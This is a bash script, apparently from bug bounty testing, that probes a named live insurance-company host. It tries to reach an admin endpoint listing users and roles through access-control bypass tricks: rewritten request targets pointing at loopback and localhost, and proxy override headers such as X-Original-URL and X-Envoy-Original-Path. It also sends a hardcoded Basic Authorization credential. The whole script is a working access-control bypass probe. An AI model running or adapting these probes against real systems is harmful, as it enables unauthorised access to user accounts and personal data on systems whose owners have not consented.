#!/usr/bin/env bash
set -u
base='https://gwde.baloise.de'
p='/pc/rest/admin/v1/users/default_data:1?fields=username,active,displayName,roles'
probe(){ name="$1"; shift; f=$(mktemp); h=$(mktemp); curl -sk --path-as-is -D "$h" -o "$f" -H 'X-Bug-Bounty: dwbzn' -H 'Authorization: Basic c3U6Z3c=' "$@" "$base/CSRFT759.js" >/dev/null; ec=$?; st=$(awk 'toupper($1) ~ /^HTTP\// {s=$2} END{print s}' "$h"); loc=$(awk 'BEGIN{IGNORECASE=1} /^Location:/{sub(/\r$/,""); print substr($0,11)}' "$h" | tail -1); ct=$(awk 'BEGIN{IGNORECASE=1} /^Content-Type:/{sub(/\r$/,""); print substr($0,15)}' "$h" | tail -1); sha=$(sha256sum "$f"|cut -c1-12); sz=$(wc -c <"$f"); printf '%-20s st=%-3s sz=%-6s sha=%s ct=%s loc=%s\n' "$name" "$st" "$sz" "$sha" "$ct" "$loc"; rm -f "$f" "$h"; }
probe baseline --request-target "$p"
probe abs_https --request-target "https://gwde.baloise.de$p"
probe abs_http --request-target "http://gwde.baloise.de$p"
probe authority --request-target "//gwde.baloise.de$p"
probe abs_loopback --request-target "https://127.0.0.1$p"
probe abs_localhost --request-target "https://localhost$p"
probe abs_userinfo --request-target "https://gwde.baloise.de@127.0.0.1$p"
probe star --request-target '*'
probe x_original -H "X-Original-URL: $p"
probe x_rewrite -H "X-Rewrite-URL: $p"
probe x_forwarded_uri -H "X-Forwarded-Uri: $p"
probe x_original_uri -H "X-Original-URI: $p"
probe x_forwarded_path -H "X-Forwarded-Path: $p"
probe x_envoy_original -H "X-Envoy-Original-Path: $p"
probe destination -H "Destination: $base$p"